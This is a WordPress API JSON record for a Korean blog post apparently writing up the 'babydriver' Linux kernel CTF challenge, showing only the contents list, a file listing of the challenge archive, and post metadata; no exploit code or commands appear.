\ubaa9\ucc28 Environment setup Extract file Extract vmlinux Remote kernel debugging Analysis Exploit Environment setup Extract file \uc555\ucd95 \ud30c\uc77c\uc5d0 \uc5b4\ub5a4 \ud30c\uc77c\uc774 \ub4e4\uc5b4\uc788\ub294\uc9c0 \ud655\uc778\ud574\ubd05\uc2dc\ub2e4. babydriver.zip babydriver\/ \u251c\u2500\u2500 boot.sh \u251c\u2500\u2500 bzImage \u2514\u2500\u2500 rootfs.cpio \uc774\ub807\uac8c \ud30c\uc77c\ub4e4\uc774 \ub4e4\uc5b4\uc788\uc2b5\ub2c8\ub2e4. bzImage\ud30c\uc77c\uc740 kernel\ud30c\uc77c\uc774\ubbc0\ub85c \uc81c\uc678\ud558\uace0 boot.sh\ud30c\uc77c\uacfc rootfs.cpio\ud30c\uc77c\uc744 \ud655\uc778\ud574\ubd05\uc2dc\ub2e4. boot.sh #!\/bin\/bash&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15,6,11],"tags":[],"class_list":["post-658","post","type-post","status-publish","format-standard","hentry","category-kernel","category-http-ipwn-kr-blog-pwnable","category-writep-up"],"_links":{"self":[{"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/posts\/658"}],"collection":[{"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/comments?post=658"}],"version-history":[{"count":12,"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/posts\/658\/revisions"}],"predecessor-version":[{"id":670,"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/posts\/658\/revisions\/670"}],"wp:attachment":[{"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/media?parent=658"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/categories?post=658"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/tags?post=658"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}